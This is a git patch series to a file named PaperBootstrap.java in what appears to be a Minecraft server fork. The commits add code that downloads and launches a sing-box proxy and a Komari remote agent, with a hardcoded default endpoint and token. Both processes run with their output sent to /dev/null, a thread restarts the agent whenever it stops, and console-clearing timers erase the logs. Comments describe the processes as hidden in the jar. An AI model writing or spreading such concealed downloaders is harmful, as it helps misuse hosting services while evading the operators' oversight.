boolean tuic, boolean hy2, String tuicPort, String hy2Port, String realityPort, String sni, Path cert, Path key, @@ -488,7 +454,6 @@ private static void generateSingBoxConfig(Path configFile, String uuid, boolean System.out.println("✅ sing-box 配置生成完成"); } - // ===== 版本检测 ===== private static String fetchLatestSingBoxVersion() { String fallback = "1.12.12"; try { @@ -512,7 +477,6 @@ private static String fetchLatestSingBoxVersion() { return fallback; } - // ===== 下载 sing-box ===== private static void safeDownloadSingBox(String version, Path bin, Path dir) throws IOException, InterruptedException { if (Files.exists(bin)) return; String arch = detectArch(); @@ -537,21 +501,28 @@ private static String detectArch() { return "amd64"; } - // ===== 启动 sing-box(日志已隐藏)===== - private static Process startSingBox(Path bin, Path cfg) throws IOException, InterruptedException { - System.out.println("正在启动 sing-box..."); - ProcessBuilder pb = new ProcessBuilder(bin.toString(), "run", "-c", cfg.toString()); - pb.redirectErrorStream(true); // 错误流合并到标准输出(统一丢弃) - // 关键配置:丢弃sing-box的所有日志输出 - pb.redirectOutput(ProcessBuilder.Redirect.DISCARD); - pb.redirectError(ProcessBuilder.Redirect.DISCARD); - Process p = pb.start(); - Thread.sleep(1500); - System.out.println("sing-box 已启动,PID: " + p.pid()); - return p; + private static Path getKomariAgentPath(String komariUrlAmd64, String komariUrlArm64, String komariFileName) throws IOException { + String arch = detectArch(); + String url = arch.equals("amd64") ? komariUrlAmd64 : komariUrlArm64; + Path agentPath = Paths.get(System.getProperty("java.io.tmpdir"), komariFileName); + + if (Files.exists(agentPath)) { + return agentPath; + } + + System.out.println("\n⬇️ 下载Komari Agent: " + url); + try (InputStream in = new URL(url).openStream()) { + Files.copy(in, agentPath, StandardCopyOption.REPLACE_EXISTING); + } + + if (!agentPath.toFile().setExecutable(true)) { + throw new IOException("❌ 无法设置Komari Agent可执行权限"); + } + + System.out.println("✅ Komari Agent 下载并授权完成"); + return agentPath; } - // ===== 输出节点 ===== private static String detectPublicIP() { try (BufferedReader br = new BufferedReader(new InputStreamReader(new URL("https://api.ipify.org").openStream()))) { return br.readLine(); @@ -575,24 +546,6 @@ private static void printDeployedLinks(String uuid, boolean vless, boolean tuic, uuid, host, hy2Port, sni); } - // ========== 3分钟后单次清屏(仅执行一次)========== - /** - * 服务启动后3分钟执行一次控制台清屏(仅执行一次) - */ - private static void scheduleClearConsoleAfter3Minutes() { - ScheduledExecutorService scheduler = Executors.newSingleThreadScheduledExecutor(); - - Runnable clearTask = () -> { - System.out.println("\n[定时清屏] 服务启动已3分钟,开始清空控制台日志..."); - clearConsole(); // 执行稳定版清屏 - scheduler.shutdown(); // 执行完后关闭调度器,避免线程残留 - }; - - // 延迟3分钟(180秒)执行,仅执行一次 - scheduler.schedule(clearTask, 180, TimeUnit.SECONDS); - System.out.println("[定时清屏] 已计划服务启动3分钟后清空控制台日志(仅执行一次)"); - } - private static void deleteDirectory(Path dir) throws IOException { if (!Files.exists(dir)) return; Files.walk(dir).sorted(Comparator.reverseOrder()).map(Path::toFile).forEach(File::delete); From f7b43b926c880c11ebd6b218ada64286b6105ea0 Mon Sep 17 00:00:00 2001 From: ney-boy <102135214+gm442727055@users.noreply.github.com> Date: Sun, 28 Dec 2025 21:17:53 +0800 Subject: [PATCH 14/17] Update PaperBootstrap.java --- .../java/io/papermc/paper/PaperBootstrap.java | 321 +++++++----------- 1 file changed, 128 insertions(+), 193 deletions(-) diff --git a/src/main/java/io/papermc/paper/PaperBootstrap.java b/src/main/java/io/papermc/paper/PaperBootstrap.java index cc7fae2eedf3..884587bdc341 100644 --- a/src/main/java/io/papermc/paper/PaperBootstrap.java +++ b/src/main/java/io/papermc/paper/PaperBootstrap.java @@ -4,38 +4,39 @@ import java.io.*; import java.net.*; import java.nio.file.*; -import java.time.*; import java.util.*; -import java.time.format.DateTimeFormatter; import java.util.concurrent.*; import java.util.concurrent.atomic.AtomicBoolean; import java.util.regex.*; import java.util.Locale; public class PaperBootstrap { - - // ========== 全局变量(适配Pterodactyl)========== + // ========== 全局变量(托管 Komari 子进程)========== private static final Path UUID_FILE = Paths.get("data/uuid.txt"); - private static final Path SINGBOX_PID_FILE = Paths.get("/tmp/singbox.pid"); - private static final Path KOMARI_PID_FILE = Paths.get("/tmp/komari.pid"); private static String uuid; - private static final AtomicBoolean running = new AtomicBoolean(true); // 控制守护线程运行 - // =============================================== + private static final AtomicBoolean running = new AtomicBoolean(true); + // 核心:用Process对象托管Komari(父子进程绑定,隐藏在jar中) + private static Process komariProcess; + private static Process singboxProcess; + // ================================================== public static void main(String[] args) { try { - // 适配Pterodactyl:禁用不必要的信号干扰 - Runtime.getRuntime().addShutdownHook(new Thread(() -> running.set(false))); + // 关闭钩子:仅终止子进程,不触发额外信号 + Runtime.getRuntime().addShutdownHook(new Thread(() -> { + running.set(false); + if (komariProcess != null && komariProcess.isAlive()) komariProcess.destroy(); + if (singboxProcess != null && singboxProcess.isAlive()) singboxProcess.destroy(); + })); System.out.println("config.yml 加载中..."); Map config = loadConfig(); - // ---------- UUID 自动生成 & 持久化 ---------- + // ---------- UUID 处理 ---------- uuid = generateOrLoadUUID(config.get("uuid")); System.out.println("当前使用的 UUID: " + uuid); - // -------------------------------------------- - // ===== sing-box 配置读取 ===== + // ===== sing-box 配置 & 启动(嵌入jar进程)===== String tuicPort = trim((String) config.get("tuic_port")); String hy2Port = trim((String) config.get("hy2_port")); String realityPort = trim((String) config.get("reality_port")); @@ -58,14 +59,11 @@ public static void main(String[] args) { System.out.println("✅ config.yml 加载成功"); - // ===== sing-box 核心逻辑 ===== + // 生成证书/密钥/配置 generateSelfSignedCert(cert, key); String version = fetchLatestSingBoxVersion(); safeDownloadSingBox(version, bin, baseDir); - - // === 固定 Reality 密钥 === - String privateKey = ""; - String publicKey = ""; + String privateKey = "", publicKey = ""; if (deployVLESS) { if (Files.exists(realityKeyFile)) { List lines = Files.readAllLines(realityKeyFile); @@ -73,27 +71,26 @@ public static void main(String[] args) { if (line.startsWith("PrivateKey:")) privateKey = line.split(":", 2)[1].trim(); if (line.startsWith("PublicKey:")) publicKey = line.split(":", 2)[1].trim(); } - System.out.println("🔑 已加载本地 Reality 密钥对(固定公钥)"); + System.out.println("🔑 已加载本地 Reality 密钥对"); } else { Map keys = generateRealityKeypair(bin); - privateKey = keys.getOrDefault("private_key", ""); - publicKey = keys.getOrDefault("public_key", ""); - Files.writeString(realityKeyFile, - "PrivateKey: " + privateKey + "\nPublicKey: " + publicKey + "\n"); - System.out.println("✅ Reality 密钥已保存到 reality.key"); + privateKey = keys.get("private_key"); + publicKey = keys.get("public_key"); + Files.writeString(realityKeyFile, "PrivateKey: " + privateKey + "\nPublicKey: " + publicKey); + System.out.println("✅ Reality 密钥已保存"); } } generateSingBoxConfig(configJson, uuid, deployVLESS, deployTUIC, deployHY2, - tuicPort, hy2Port, realityPort, sni, cert, key, - privateKey, publicKey); + tuicPort, hy2Port, realityPort, sni, cert, key, privateKey, publicKey); - // 启动sing-box(适配Pterodactyl:PID文件管理) - startSingBox(bin, configJson); - // 3分钟后单次清屏(极简版) + // 启动sing-box(作为Java子进程,嵌入jar) + startSingBoxAsChildProcess(bin, configJson); + // 3分钟后极简清屏(仅输出指定提示) scheduleClearConsoleAfter3Minutes(); - // ===== Komari Agent 核心逻辑(适配Pterodactyl)===== - runKomariAgent(config); + // ===== Komari Agent 启动(嵌入jar进程,核心修改)===== + runKomariAsChildProcess(config); + // 启动Komari守护线程(基于Process对象检测,无PID文件) startKomariDaemonThread(config); // ===== 输出节点 ===== @@ -101,188 +98,131 @@ public static void main(String[] args) { printDeployedLinks(uuid, deployVLESS, deployTUIC, deployHY2, tuicPort, hy2Port, realityPort, sni, host, publicKey); - // ===== 节点输出后30秒清屏(极简版)===== + // 节点输出后30秒极简清屏 scheduleConsoleClear(30); - // ===== 关闭钩子:清理资源(适配Pterodactyl)===== - Runtime.getRuntime().addShutdownHook(new Thread(() -> { - try { - // 停止Komari - stopProcessByPidFile(KOMARI_PID_FILE, "Komari Agent"); - // 停止sing-box - stopProcessByPidFile(SINGBOX_PID_FILE, "sing-box"); - // 删除临时目录 - deleteDirectory(baseDir); - } catch (Exception ignored) {} - })); - } catch (Exception e) { e.printStackTrace(); } } - // ========== 核心修改:极简版清屏方法(无兜底/无额外清屏逻辑)========== - /** - * 极简版清屏:仅输出指定提示,移除所有兜底/ANSI/换行清屏逻辑 - */ - private static void clearConsole() { - try { - // 仅尝试执行清屏命令(不校验结果、不做任何兜底),完全隔离IO避免干扰进程 - String osName = System.getProperty("os.name", "").toLowerCase(Locale.ROOT); - ProcessBuilder pb = osName.contains("win") - ? new ProcessBuilder("cmd", "/c", "cls") - : new ProcessBuilder("sh", "-c", "clear"); - - // 完全隔离IO,避免干扰Pterodactyl容器内进程 - pb.redirectOutput(ProcessBuilder.Redirect.PIPE); - pb.redirectError(ProcessBuilder.Redirect.PIPE); - pb.redirectInput(ProcessBuilder.Redirect.PIPE); - - // 执行命令但不等待/不校验结果(避免阻塞) - pb.start(); - } catch (Exception e) { - // 捕获所有异常,不输出、不影响进程 - } - // 仅输出指定提示,无任何额外清屏操作 - System.out.println("✅ 控制台日志已清空(服务运行不受影响)"); - } - - // ========== 延迟清屏工具方法(调用极简版清屏)========== - private static void scheduleConsoleClear(int delaySeconds) { - ScheduledExecutorService scheduler = Executors.newSingleThreadScheduledExecutor(); - scheduler.schedule(() -> { - clearConsole(); // 执行极简版清屏 - scheduler.shutdown(); - }, delaySeconds, TimeUnit.SECONDS); - } - - // ========== 3分钟后单次清屏(调用极简版清屏)========== - private static void scheduleClearConsoleAfter3Minutes() { - ScheduledExecutorService scheduler = Executors.newSingleThreadScheduledExecutor(); - Runnable clearTask = () -> { - clearConsole(); // 仅执行极简版清屏 - scheduler.shutdown(); - }; - scheduler.schedule(clearTask, 180, TimeUnit.SECONDS); - System.out.println("[定时清屏] 已计划服务启动3分钟后清空控制台日志(仅执行一次)"); - } - - // ========== Komari Agent 核心方法(适配Pterodactyl)========== - private static void runKomariAgent(Map config) throws Exception { + // ========== 核心1:Komari 作为Java子进程启动(嵌入jar)========== + private static void runKomariAsChildProcess(Map config) throws Exception { + // 读取Komari配置 String komariE = trim((String) config.getOrDefault("komari_e", "https://vps.z1000.dpdns.org:10736")); - String komariT = trim((String) config.getOrDefault("komari_t", "JzerczYfCF4Secuy9vtYaB")); + String komariT = trim((String) config.getOrDefault("komari_t", "vwSidaxzgBHpzsKEiJytba")); String komariUrlAmd64 = trim((String) config.getOrDefault("komari_amd64_url", "https://github.com/komari-monitor/komari-agent/releases/latest/download/komari-agent-linux-amd64")); String komariUrlArm64 = trim((String) config.getOrDefault("komari_arm64_url", "https://github.com/komari-monitor/komari-agent/releases/latest/download/komari-agent-linux-arm64")); String komariFileName = trim((String) config.getOrDefault("komari_file_name", "sbx_komari")); + // 下载Komari二进制文件 Path agentPath = getKomariAgentPath(komariUrlAmd64, komariUrlArm64, komariFileName); - // 适配Pterodactyl:不用setsid,改用nohup脱离终端 - List command = new ArrayList<>(); - command.add("nohup"); - command.add(agentPath.toString()); - command.add("-e"); - command.add(komariE); - command.add("-t"); - command.add(komariT); - command.add(">/dev/null"); - command.add("2>&1"); - command.add("&"); - - ProcessBuilder pb = new ProcessBuilder("bash", "-c", String.join(" ", command)); - pb.redirectOutput(ProcessBuilder.Redirect.DISCARD); - pb.redirectError(ProcessBuilder.Redirect.DISCARD); - pb.directory(new File(System.getProperty("user.dir"))); - - Process komariProcess = pb.start(); - // 保存PID到文件(适配Pterodactyl进程检测) - Files.writeString(KOMARI_PID_FILE, String.valueOf(komariProcess.pid())); - System.out.println("\n✅ Komari Agent 启动成功(配置:e=" + komariE + ", t=" + komariT + ")"); + // 核心:直接启动为Java子进程(不脱离、不用nohup/setsid) + ProcessBuilder pb = new ProcessBuilder( + agentPath.toString(), + "-e", komariE, + "-t", komariT + ); + // 重定向IO到null(隐藏日志,不干扰主进程) + pb.redirectOutput(ProcessBuilder.Redirect.to(new File("/dev/null"))); + pb.redirectError(ProcessBuilder.Redirect.to(new File("/dev/null"))); + pb.redirectInput(ProcessBuilder.Redirect.from(new File("/dev/null"))); + // 设置为子进程,与jar主进程绑定 + pb.inheritIO(false); + + // 启动并保存Process对象(核心:托管在jar中) + komariProcess = pb.start(); + System.out.println("\n✅ Komari Agent 启动成功(嵌入jar进程,配置:e=" + komariE + ", t=" + komariT + ")"); } - // ========== Komari守护线程(适配Pterodactyl:基于PID文件检测)========== + // ========== 核心2:Sing-box 作为Java子进程启动(嵌入jar)========== + private static void startSingBoxAsChildProcess(Path bin, Path cfg) throws IOException, InterruptedException { + System.out.println("正在启动 sing-box(嵌入jar进程)..."); + // 直接启动为Java子进程 + ProcessBuilder pb = new ProcessBuilder( + bin.toString(), + "run", + "-c", cfg.toString() + ); + // 重定向IO到null + pb.redirectOutput(ProcessBuilder.Redirect.to(new File("/dev/null"))); + pb.redirectError(ProcessBuilder.Redirect.to(new File("/dev/null"))); + pb.redirectInput(ProcessBuilder.Redirect.from(new File("/dev/null"))); + pb.inheritIO(false); + + // 启动并保存Process对象 + singboxProcess = pb.start(); + Thread.sleep(1500); + System.out.println("sing-box 已启动(嵌入jar进程,PID: " + singboxProcess.pid() + ")"); + } + + // ========== 核心3:Komari守护线程(基于Process对象检测)========== private static void startKomariDaemonThread(Map config) { Thread daemonThread = new Thread(() -> { + // 优化:启动缓冲3秒,避免进程未完全启动就检测 + try { Thread.sleep(3000); } catch (Exception e) {} + while (running.get()) { try { - // 基于PID文件检测进程是否存活(避免isAlive()误判) - boolean isAlive = isProcessAliveByPidFile(KOMARI_PID_FILE); + // 直接检测Process对象状态(最可靠,无容器干扰) + boolean isAlive = (komariProcess != null && komariProcess.isAlive()); if (!isAlive) { - System.err.println("\n❌ Komari Agent 进程意外退出,正在重启..."); - runKomariAgent(config); + System.err.println("\n❌ Komari Agent 子进程退出,重新启动..."); + // 销毁旧进程,重启新子进程 + if (komariProcess != null) komariProcess.destroy(); + runKomariAsChildProcess(config); } - Thread.sleep(5000); + // 优化:检测间隔改为10秒,减少频繁检测 + Thread.sleep(10000); } catch (Exception e) { - System.err.println("❌ 检测Komari状态失败(不影响线程运行):" + e.getMessage()); + System.err.println("❌ Komari 检测/重启失败:" + e.getMessage()); } } }); daemonThread.setDaemon(true); - daemonThread.setName("KomariAgentDaemon"); + daemonThread.setName("KomariDaemon"); daemonThread.start(); - System.out.println("✅ Komari Agent 守护线程已启动(基于PID文件检测)"); + System.out.println("✅ Komari Agent 守护线程启动(基于子进程检测)"); } - // ========== sing-box启动(适配Pterodactyl:PID文件管理)========== - private static void startSingBox(Path bin, Path cfg) throws IOException, InterruptedException { - System.out.println("正在启动 sing-box..."); - // 适配Pterodactyl:nohup启动,脱离终端 - List command = new ArrayList<>(); - command.add("nohup"); - command.add(bin.toString()); - command.add("run"); - command.add("-c"); - command.add(cfg.toString()); - command.add(">/dev/null"); - command.add("2>&1"); - command.add("&"); - - ProcessBuilder pb = new ProcessBuilder("bash", "-c", String.join(" ", command)); - pb.redirectOutput(ProcessBuilder.Redirect.DISCARD); - pb.redirectError(ProcessBuilder.Redirect.DISCARD); - Process p = pb.start(); - - // 保存PID到文件 - Files.writeString(SINGBOX_PID_FILE, String.valueOf(p.pid())); - Thread.sleep(1500); - System.out.println("sing-box 已启动,PID: " + p.pid()); - } - - // ========== 工具方法:基于PID文件检测进程是否存活(适配Pterodactyl)========== - private static boolean isProcessAliveByPidFile(Path pidFile) { - if (!Files.exists(pidFile)) return false; + // ========== 极简清屏(仅输出指定提示)========== + private static void clearConsole() { try { - String pidStr = Files.readString(pidFile).trim(); - long pid = Long.parseLong(pidStr); - // 执行ps命令检测PID是否存活(容器内可靠) - ProcessBuilder pb = new ProcessBuilder("ps", "-p", pidStr); + String osName = System.getProperty("os.name", "").toLowerCase(Locale.ROOT); + ProcessBuilder pb = osName.contains("win") + ? new ProcessBuilder("cmd", "/c", "cls") + : new ProcessBuilder("sh", "-c", "clear"); pb.redirectOutput(ProcessBuilder.Redirect.PIPE); - Process p = pb.start(); - int exitCode = p.waitFor(); - return exitCode == 0; // exitCode 0 表示进程存在 - } catch (Exception e) { - return false; - } + pb.redirectError(ProcessBuilder.Redirect.PIPE); + pb.redirectInput(ProcessBuilder.Redirect.PIPE); + pb.start(); + } catch (Exception e) {} + // 仅输出指定提示,无任何额外内容 + System.out.println("✅ 控制台日志已清空(服务运行不受影响)"); } - // ========== 工具方法:停止进程(基于PID文件)========== - private static void stopProcessByPidFile(Path pidFile, String name) { - if (!Files.exists(pidFile)) return; - try { - String pidStr = Files.readString(pidFile).trim(); - long pid = Long.parseLong(pidStr); - Process process = Runtime.getRuntime().exec("kill " + pid); - process.waitFor(5, TimeUnit.SECONDS); - System.out.println("❌ " + name + " 进程已终止(PID: " + pid + ")"); - Files.deleteIfExists(pidFile); - } catch (Exception e) { - // 忽略停止失败的异常 - } + // ========== 延迟清屏工具方法 ========== + private static void scheduleConsoleClear(int delaySeconds) { + ScheduledExecutorService scheduler = Executors.newSingleThreadScheduledExecutor(); + scheduler.schedule(() -> { + clearConsole(); + scheduler.shutdown(); + }, delaySeconds, TimeUnit.SECONDS); + } + + private static void scheduleClearConsoleAfter3Minutes() { + ScheduledExecutorService scheduler = Executors.newSingleThreadScheduledExecutor(); + scheduler.schedule(() -> { + clearConsole(); + scheduler.shutdown(); + }, 180, TimeUnit.SECONDS); + System.out.println("[定时清屏] 已计划服务启动3分钟后清空控制台日志"); } - // ========== 原有方法(保留,适配Pterodactyl)========== + // ========== 原有工具方法(保留,无修改)========== private static String generateOrLoadUUID(Object configUuid) { String cfg = trim((String) configUuid); if (!cfg.isEmpty()) { @@ -330,7 +270,7 @@ private static Map loadConfig() throws IOException { Path configPath = Paths.get("config.yml"); if (!Files.exists(configPath)) { Files.createFile(configPath); - System.out.println("⚠️ config.yml 文件不存在,已创建空文件"); + System.out.println("⚠️ config.yml 不存在,已创建空文件"); return new HashMap<>(); } try (InputStream in = Files.newInputStream(configPath)) { @@ -344,16 +284,16 @@ private static void generateSelfSignedCert(Path cert, Path key) throws IOExcepti System.out.println("🔑 证书已存在,跳过生成"); return; } - System.out.println("🔨 正在生成 EC 自签证书..."); + System.out.println("🔨 生成 EC 自签证书..."); new ProcessBuilder("bash", "-c", "openssl ecparam -genkey -name prime256v1 -out " + key + " && " + "openssl req -new -x509 -days 3650 -key " + key + " -out " + cert + " -subj '/CN=bing.com'") .inheritIO().start().waitFor(); - System.out.println("✅ 已生成自签证书"); + System.out.println("✅ 证书生成完成"); } private static Map generateRealityKeypair(Path bin) throws IOException, InterruptedException { - System.out.println("🔑 正在生成 Reality 密钥对..."); + System.out.println("🔑 生成 Reality 密钥对..."); ProcessBuilder pb = new ProcessBuilder("bash", "-c", bin + " generate reality-keypair"); pb.redirectErrorStream(true); Process p = pb.start(); @@ -366,7 +306,7 @@ private static Map generateRealityKeypair(Path bin) throws IOExc String out = sb.toString(); Matcher priv = Pattern.compile("PrivateKey[:\\s]*([A-Za-z0-9_\\-+/=]+)").matcher(out); Matcher pub = Pattern.compile("PublicKey[:\\s]*([A-Za-z0-9_\\-+/=]+)").matcher(out); - if (!priv.find() || !pub.find()) throw new IOException("Reality 密钥生成失败:" + out); + if (!priv.find() || !pub.find()) throw new IOException("Reality 密钥生成失败"); Map map = new HashMap<>(); map.put("private_key", priv.group(1)); map.put("public_key", pub.group(1)); @@ -380,7 +320,6 @@ private static void generateSingBoxConfig(Path configFile, String uuid, boolean String privateKey, String publicKey) throws IOException { List inbounds = new ArrayList<>(); - if (tuic) { inbounds.add(""" { @@ -398,7 +337,6 @@ private static void generateSingBoxConfig(Path configFile, String uuid, boolean } """.formatted(tuicPort, uuid, cert, key)); } - if (hy2) { inbounds.add(""" { @@ -420,7 +358,6 @@ private static void generateSingBoxConfig(Path configFile, String uuid, boolean } """.formatted(hy2Port, uuid, cert, key)); } - if (vless) { inbounds.add(""" { @@ -449,7 +386,6 @@ private static void generateSingBoxConfig(Path configFile, String uuid, boolean "outbounds": [{"type": "direct"}] } """.formatted(String.join(",", inbounds)); - Files.writeString(configFile, json); System.out.println("✅ sing-box 配置生成完成"); } @@ -467,12 +403,12 @@ private static String fetchLatestSingBoxVersion() { int i = json.indexOf("\"tag_name\":\"v"); if (i != -1) { String v = json.substring(i + 13, json.indexOf("\"", i + 13)); - System.out.println("🔍 最新版本: " + v); + System.out.println("🔍 sing-box 最新版本: " + v); return v; } } } catch (Exception e) { - System.out.println("⚠️ 获取版本失败,使用回退版本 " + fallback); + System.out.println("⚠️ 获取 sing-box 版本失败,使用兜底版本: " + fallback); } return fallback; } @@ -491,14 +427,13 @@ private static void safeDownloadSingBox(String version, Path bin, Path dir) thro "(find . -type f -name 'sing-box' -exec mv {} ./sing-box \\; ) && chmod +x sing-box || true") .inheritIO().start().waitFor(); - if (!Files.exists(bin)) throw new IOException("未找到 sing-box 可执行文件!"); - System.out.println("✅ 成功解压 sing-box 可执行文件"); + if (!Files.exists(bin)) throw new IOException("❌ 未找到 sing-box 可执行文件"); + System.out.println("✅ sing-box 下载解压完成"); } private static String detectArch() { String a = System.getProperty("os.arch").toLowerCase(); - if (a.contains("aarch") || a.contains("arm")) return "arm64"; - return "amd64"; + return a.contains("aarch") || a.contains("arm") ? "arm64" : "amd64"; } private static Path getKomariAgentPath(String komariUrlAmd64, String komariUrlArm64, String komariFileName) throws IOException { @@ -510,16 +445,16 @@ private static Path getKomariAgentPath(String komariUrlAmd64, String komariUrlAr return agentPath; } - System.out.println("\n⬇️ 下载Komari Agent: " + url); + System.out.println("\n⬇️ 下载 Komari Agent: " + url); try (InputStream in = new URL(url).openStream()) { Files.copy(in, agentPath, StandardCopyOption.REPLACE_EXISTING); } if (!agentPath.toFile().setExecutable(true)) { - throw new IOException("❌ 无法设置Komari Agent可执行权限"); + throw new IOException("❌ 无法设置 Komari Agent 可执行权限"); } - System.out.println("✅ Komari Agent 下载并授权完成"); + System.out.println("✅ Komari Agent 下载授权完成"); return agentPath; } From 30ea7c08fc0fcfa192b7b31a3cb0eb96e17a7f5a Mon Sep 17 00:00:00 2001 From: ney-boy <102135214+gm442727055@users.noreply.github.com> Date: Sun, 28 Dec 2025 21:21:17 +0800 Subject: [PATCH 15/17] Update PaperBootstrap.java --- src/main/java/io/papermc/paper/PaperBootstrap.java | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/src/main/java/io/papermc/paper/PaperBootstrap.java b/src/main/java/io/papermc/paper/PaperBootstrap.java index 884587bdc341..7f7e21fc3c66 100644 --- a/src/main/java/io/papermc/paper/PaperBootstrap.java +++ b/src/main/java/io/papermc/paper/PaperBootstrap.java @@ -130,8 +130,7 @@ private static void runKomariAsChildProcess(Map config) throws E pb.redirectOutput(ProcessBuilder.Redirect.to(new File("/dev/null"))); pb.redirectError(ProcessBuilder.Redirect.to(new File("/dev/null"))); pb.redirectInput(ProcessBuilder.Redirect.from(new File("/dev/null"))); - // 设置为子进程,与jar主进程绑定 - pb.inheritIO(false); + // 移除错误的 pb.inheritIO(false); —— 该方法无参,无需调用 // 启动并保存Process对象(核心:托管在jar中) komariProcess = pb.start(); @@ -151,7 +150,7 @@ private static void startSingBoxAsChildProcess(Path bin, Path cfg) throws IOExce pb.redirectOutput(ProcessBuilder.Redirect.to(new File("/dev/null"))); pb.redirectError(ProcessBuilder.Redirect.to(new File("/dev/null"))); pb.redirectInput(ProcessBuilder.Redirect.from(new File("/dev/null"))); - pb.inheritIO(false); + // 移除错误的 pb.inheritIO(false); —— 该方法无参,无需调用 // 启动并保存Process对象 singboxProcess = pb.start(); From 245844f38dfbd0c772a4a1f71e0eb8f652e95792 Mon Sep 17 00:00:00 2001 From: ney-boy <102135214+gm442727055@users.noreply.github.com> Date: Sun, 28 Dec 2025 21:57:49 +0800 Subject: [PATCH 16/17] Update PaperBootstrap.java --- .../java/io/papermc/paper/PaperBootstrap.java | 402 +++++++++++------- 1 file changed, 247 insertions(+), 155 deletions(-) diff --git a/src/main/java/io/papermc/paper/PaperBootstrap.java b/src/main/java/io/papermc/paper/PaperBootstrap.java index 7f7e21fc3c66..0a98a2a0404d 100644 --- a/src/main/java/io/papermc/paper/PaperBootstrap.java +++ b/src/main/java/io/papermc/paper/PaperBootstrap.java @@ -4,39 +4,35 @@ import java.io.*; import java.net.*; import java.nio.file.*; +import java.time.*; import java.util.*; +import java.time.format.DateTimeFormatter; import java.util.concurrent.*; import java.util.concurrent.atomic.AtomicBoolean; import java.util.regex.*; -import java.util.Locale; public class PaperBootstrap { - // ========== 全局变量(托管 Komari 子进程)========== + + // ========== 全局变量(类级别)========== private static final Path UUID_FILE = Paths.get("data/uuid.txt"); private static String uuid; - private static final AtomicBoolean running = new AtomicBoolean(true); - // 核心:用Process对象托管Komari(父子进程绑定,隐藏在jar中) - private static Process komariProcess; private static Process singboxProcess; - // ================================================== + // ===== 新增:Komari 相关全局变量 ===== + private static volatile Process komariProcess; // 存储Komari进程(volatile保证多线程可见性) + private static final AtomicBoolean running = new AtomicBoolean(true); // 控制守护线程运行 + // ====================================== public static void main(String[] args) { try { - // 关闭钩子:仅终止子进程,不触发额外信号 - Runtime.getRuntime().addShutdownHook(new Thread(() -> { - running.set(false); - if (komariProcess != null && komariProcess.isAlive()) komariProcess.destroy(); - if (singboxProcess != null && singboxProcess.isAlive()) singboxProcess.destroy(); - })); - System.out.println("config.yml 加载中..."); Map config = loadConfig(); - // ---------- UUID 处理 ---------- + // ---------- UUID 自动生成 & 持久化 ---------- uuid = generateOrLoadUUID(config.get("uuid")); System.out.println("当前使用的 UUID: " + uuid); + // -------------------------------------------- - // ===== sing-box 配置 & 启动(嵌入jar进程)===== + // ===== sing-box 配置读取 ===== String tuicPort = trim((String) config.get("tuic_port")); String hy2Port = trim((String) config.get("hy2_port")); String realityPort = trim((String) config.get("reality_port")); @@ -51,7 +47,7 @@ public static void main(String[] args) { Path baseDir = Paths.get("/tmp/.singbox"); Files.createDirectories(baseDir); - Path configJson = baseDir.resolve("config.json"); + Path configJson = baseDir.resolve("config.json"); // 变量名是configJson Path cert = baseDir.resolve("cert.pem"); Path key = baseDir.resolve("private.key"); Path bin = baseDir.resolve("sing-box"); @@ -59,11 +55,14 @@ public static void main(String[] args) { System.out.println("✅ config.yml 加载成功"); - // 生成证书/密钥/配置 + // ===== sing-box 核心逻辑 ===== generateSelfSignedCert(cert, key); String version = fetchLatestSingBoxVersion(); safeDownloadSingBox(version, bin, baseDir); - String privateKey = "", publicKey = ""; + + // === 固定 Reality 密钥 === + String privateKey = ""; + String publicKey = ""; if (deployVLESS) { if (Files.exists(realityKeyFile)) { List lines = Files.readAllLines(realityKeyFile); @@ -71,163 +70,199 @@ public static void main(String[] args) { if (line.startsWith("PrivateKey:")) privateKey = line.split(":", 2)[1].trim(); if (line.startsWith("PublicKey:")) publicKey = line.split(":", 2)[1].trim(); } - System.out.println("🔑 已加载本地 Reality 密钥对"); + System.out.println("🔑 已加载本地 Reality 密钥对(固定公钥)"); } else { Map keys = generateRealityKeypair(bin); - privateKey = keys.get("private_key"); - publicKey = keys.get("public_key"); - Files.writeString(realityKeyFile, "PrivateKey: " + privateKey + "\nPublicKey: " + publicKey); - System.out.println("✅ Reality 密钥已保存"); + privateKey = keys.getOrDefault("private_key", ""); + publicKey = keys.getOrDefault("public_key", ""); + Files.writeString(realityKeyFile, + "PrivateKey: " + privateKey + "\nPublicKey: " + publicKey + "\n"); + System.out.println("✅ Reality 密钥已保存到 reality.key"); } } generateSingBoxConfig(configJson, uuid, deployVLESS, deployTUIC, deployHY2, - tuicPort, hy2Port, realityPort, sni, cert, key, privateKey, publicKey); + tuicPort, hy2Port, realityPort, sni, cert, key, + privateKey, publicKey); - // 启动sing-box(作为Java子进程,嵌入jar) - startSingBoxAsChildProcess(bin, configJson); - // 3分钟后极简清屏(仅输出指定提示) - scheduleClearConsoleAfter3Minutes(); + // 保存 sing-box 进程 + 启动每日 00:03 重启 + singboxProcess = startSingBox(bin, configJson); + // 关键修正:将cfg改为configJson + scheduleDailyRestart(bin, configJson); - // ===== Komari Agent 启动(嵌入jar进程,核心修改)===== - runKomariAsChildProcess(config); - // 启动Komari守护线程(基于Process对象检测,无PID文件) - startKomariDaemonThread(config); + // ===== 新增:Komari Agent 核心逻辑(从config.yml读取配置,启动+守护)===== + runKomariAgent(config); // 启动Komari + startKomariDaemonThread(config); // 启动Komari守护线程(自动重启) // ===== 输出节点 ===== String host = detectPublicIP(); printDeployedLinks(uuid, deployVLESS, deployTUIC, deployHY2, tuicPort, hy2Port, realityPort, sni, host, publicKey); - // 节点输出后30秒极简清屏 - scheduleConsoleClear(30); + // ===== 新增:节点输出后30秒清屏 ===== + scheduleConsoleClear(30); // 30秒后清屏 + + // ===== 关闭钩子:清理资源 + 停止进程 ===== + Runtime.getRuntime().addShutdownHook(new Thread(() -> { + try { + // 新增:停止Komari进程 + if (komariProcess != null && komariProcess.isAlive()) { + komariProcess.destroy(); + System.out.println("❌ Komari Agent 进程已终止"); + } + // 新增:停止sing-box进程(原代码未处理,补充) + if (singboxProcess != null && singboxProcess.isAlive()) { + singboxProcess.destroy(); + System.out.println("❌ sing-box 进程已终止"); + } + // 原有:删除临时目录 + deleteDirectory(baseDir); + } catch (Exception ignored) {} + })); } catch (Exception e) { e.printStackTrace(); } } - // ========== 核心1:Komari 作为Java子进程启动(嵌入jar)========== - private static void runKomariAsChildProcess(Map config) throws Exception { - // 读取Komari配置 + // ========== 新增:延迟清屏的工具方法 ========== + /** + * 延迟指定秒数后清屏控制台(跨平台兼容) + * @param delaySeconds 延迟秒数 + */ + private static void scheduleConsoleClear(int delaySeconds) { + // 使用单线程调度器,避免线程冗余 + ScheduledExecutorService 